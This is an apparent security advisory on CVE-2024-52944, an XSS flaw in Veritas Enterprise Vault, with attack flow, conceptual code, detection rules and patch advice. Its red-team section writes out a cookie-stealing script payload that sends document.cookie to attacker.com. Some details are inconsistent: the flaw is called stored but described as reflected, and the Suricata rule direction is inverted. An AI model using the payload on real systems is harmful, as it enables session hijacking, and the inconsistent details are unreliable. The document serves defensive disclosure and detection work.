CVE-2024-52944

Executive Summary

CVE-2024-52944 is a stored Cross-Site Scripting (XSS) vulnerability in Veritas Enterprise Vault, affecting versions prior to 15.1 UPD882911. An authenticated remote attacker can inject malicious parameters into HTTP requests when viewing archived content. If an authenticated user executes the crafted request, the injected script reflects back without sanitization, leading to potential session hijacking, data theft, or further compromise within the authenticated session. The vulnerability has a CVSS score of 5.4 (Medium) and a low EPSS score of 0.0%, indicating limited active exploitation in the wild. No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise software product (Veritas Enterprise Vault) and does not involve open-source package supply chain risks.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must click or execute the crafted request)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the requirement for user interaction and authentication reduces the immediate risk. However, in environments where archived content is frequently accessed by privileged users, the impact could be significant.

Deep Dive & Mechanics

The vulnerability resides in the web interface of Veritas Enterprise Vault, specifically in the component that renders archived content. When an authenticated user views archived emails or files, the application fails to properly sanitize user-supplied parameters in HTTP requests. An attacker can inject malicious JavaScript or HTML into a parameter that is then reflected back in the response without proper encoding.

Attack Flow:

1. An authenticated attacker crafts a malicious URL containing a JavaScript payload in a parameter (e.g., ?param=<script>alert('XSS')</script>).
2. The attacker sends this URL to another authenticated user (e.g., via email or internal chat).
3. The victim, while authenticated, clicks the link.
4. The Enterprise Vault server processes the request and reflects the malicious parameter in the archived content view without sanitization.
5. The victim's browser executes the injected script, allowing the attacker to perform actions on behalf of the victim, such as stealing session cookies, exfiltrating data, or performing further attacks.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding or input validation for parameters used in the archived content display.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly echoes user input without sanitization
$param = $_GET['param'];
echo "<div class='archive-content'>" . $param . "</div>";

Patched Code (Conceptual):

// Patched: Uses htmlspecialchars to encode output
$param = $_GET['param'];
echo "<div class='archive-content'>" . htmlspecialchars($param, ENT_QUOTES, 'UTF-8') . "</div>";

The patch (UPD882911) likely implements proper output encoding for all user-controlled parameters in the archived content view, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Valid credentials for an Enterprise Vault user account.
• Network access to the Enterprise Vault web interface.
• A victim user who is also authenticated and will click the crafted link.

Exploitation Steps:

1. Craft a malicious URL with a JavaScript payload. Example:

   https://vault.example.com/archive/view?file=123&param=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Send this URL to the victim via email, chat, or other means.
3. When the victim clicks the link, the script executes, sending their session cookie to the attacker's server.
4. The attacker can then use the stolen cookie to impersonate the victim.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defender)

Detection:

• Monitor web server logs for unusual parameters containing <script>, onerror, onload, or other XSS patterns.
• Use WAF rules to block requests with suspicious parameters in the Enterprise Vault URL path.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for HTTP requests to /archive/view or similar endpoints with parameters containing HTML/JavaScript.
• Look for outbound connections from the Enterprise Vault server to unknown external domains (potential data exfiltration).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /archive/view or similar endpoints with parameters containing <script>, %3Cscript%3E, or other XSS payloads.
  • Outbound connections from the Enterprise Vault server to suspicious IPs or domains (e.g., attacker-controlled servers).
• Host IOCs:
  • Unusual entries in web server access logs with long or encoded parameters.
  • Presence of JavaScript code in archived content that was not originally part of the archive.
• File IOCs:
  • None specific to this CVE.

Detection Engineering

YARA Rule

rule CVE_2024_52944_XSS_Detection {
    meta:
        description = "Detects potential XSS payloads in Veritas Enterprise Vault parameters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52944"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
        $xss5 = /%3Cscript%3E/i
    condition:
        any of them
}

Sigma Rule

title: Detected XSS Attempt in Veritas Enterprise Vault
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to Enterprise Vault with potential XSS payloads in parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - '%3Cscript%3E'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in archived content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52944 XSS Attempt in Veritas Enterprise Vault"; flow:to_server,established; content:"/archive/view"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Veritas Enterprise Vault 15.1 UPD882911 or later. This is the only official fix.
2. Workaround: If patching is not immediately possible, restrict access to the Enterprise Vault web interface to trusted IPs only.
3. WAF Rules: Deploy Web Application Firewall rules to block requests containing XSS patterns in parameters.

Long-Term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security training for users to avoid clicking suspicious links.
• Enable logging and monitoring for all Enterprise Vault web traffic.
• Perform code reviews and penetration testing on custom integrations.

Valters IT
Securing Digital Frontiers